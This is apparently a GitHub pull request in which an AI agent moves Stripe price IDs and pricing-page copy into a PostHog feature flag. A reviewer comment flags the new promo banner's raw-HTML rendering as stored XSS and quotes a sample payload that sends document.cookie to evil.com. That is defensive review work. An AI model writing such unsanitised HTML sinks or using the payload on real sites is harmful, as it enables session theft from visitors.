Replace Stripe price env vars with PostHog pricing-config feature flag#3701
Replace Stripe price env vars with PostHog pricing-config feature flag#3701devin-ai-integration[bot] wants to merge 1 commit intomainfrom
Conversation
…config feature flag - Create pricing-config helpers in apps/api and apps/web - Update pricing.tsx to read display prices from PostHog flag (useFeatureFlagPayload) - Update billing.ts in both apps to read price IDs from PostHog flag - Remove STRIPE_MONTHLY_PRICE_ID and STRIPE_YEARLY_PRICE_ID from env definitions - Promo banner now controlled by flag (promo_active + promo_text) Co-Authored-By: yujonglee <yujonglee.dev@gmail.com>
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
✅ Deploy Preview for hyprnote-storybook ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
✅ Deploy Preview for hyprnote ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
| version and help with migration —{" "} | ||
| <strong>offer ends February 28th</strong> | ||
| </span> | ||
| <span dangerouslySetInnerHTML={{ __html: text }} /> |
There was a problem hiding this comment.
🟡 XSS via dangerouslySetInnerHTML with PostHog feature flag payload
The PromoBanner component renders promo_text from the PostHog pricing-config feature flag payload directly as raw HTML using dangerouslySetInnerHTML. Any user with access to modify the PostHog feature flag can inject arbitrary JavaScript that executes in every visitor's browser on the pricing page.
Security impact and recommendation
At apps/web/src/routes/_view/pricing.tsx:143, the promo_text string from PostHog is inserted as raw HTML:
<span dangerouslySetInnerHTML={{ __html: text }} />While PostHog is an admin-controlled service, this creates an unnecessary stored XSS vector. If the PostHog account is compromised, or a team member with PostHog access acts maliciously, they can set promo_text to something like <img src=x onerror="document.location='https://evil.com/?c='+document.cookie"> which would execute on all pricing page visitors.
The previous TeamPricingBanner used safe, hardcoded JSX content. The promo text is simple marketing copy (e.g., "Early Bird Discount: ...") that could safely use a text-only approach or be sanitized before insertion.
Impact: Arbitrary JavaScript execution in visitors' browsers, enabling cookie theft, session hijacking, or phishing.
Prompt for agents
In apps/web/src/routes/_view/pricing.tsx, replace the dangerouslySetInnerHTML usage in the PromoBanner component (line 143) with safe text rendering. If HTML formatting (like bold tags) is truly needed in promo_text, use a sanitization library such as DOMPurify to strip scripts and event handlers before insertion. For example: import DOMPurify from 'dompurify'; and then use dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(text) }}. Alternatively, if only simple formatting like bold is needed, parse the text and render React elements instead of using innerHTML.
Was this helpful? React with 👍 or 👎 to provide feedback.
Replace Stripe price env vars with PostHog pricing-config flag
Summary
Replaces
STRIPE_MONTHLY_PRICE_IDandSTRIPE_YEARLY_PRICE_IDenv vars (duplicated acrossapps/apiandapps/web) and hardcoded display prices in the pricing page with a single PostHog feature flag (pricing-config) as the source of truth.What changed:
getPricingConfig()helpers in bothapps/apiandapps/webthat fetch a JSON payload from PostHog'spricing-configfeature flagapps/api/routes/billing.ts(/start-trial) reads price IDs from the flag instead of env varsapps/web/functions/billing.ts(createCheckoutSession,createTrialCheckoutSession) reads price IDs from the flagapps/web/routes/_view/pricing.tsxreads display prices client-side viauseFeatureFlagPayloadwith hardcoded fallbacks ($8/$59)promo_active,promo_text)STRIPE_MONTHLY_PRICE_ID/STRIPE_YEARLY_PRICE_IDfrom env schemas in both appsPrerequisite: The
pricing-configfeature flag must be created in PostHog with a JSON payload matching thePricingConfigtype before deploying this change.Review & Testing Checklist for Human
pricing-configfeature flag in PostHog before merging — without it, all billing endpoints (/start-trial, checkout, trial checkout) will throw and fail. The flag payload must match thePricingConfigtype shape.dangerouslySetInnerHTMLusage inPromoBanner— promo text from PostHog is rendered as raw HTML. Confirm this is acceptable given PostHog is a trusted source, or consider sanitizing./start-trialfrom desktop app worksNotes
PricingConfigtype is duplicated inapps/apiandapps/webrather than shared. Consider extracting to a shared package if this becomes a maintenance burden.getPricingConfig()implementations pass empty string asdistinct_id, meaning the flag must be configured to return the same payload for all users (no user-specific targeting).Link to Devin run: https://app.devin.ai/sessions/54d331a032414be599caa8e728dd09d7
Requested by: @yujonglee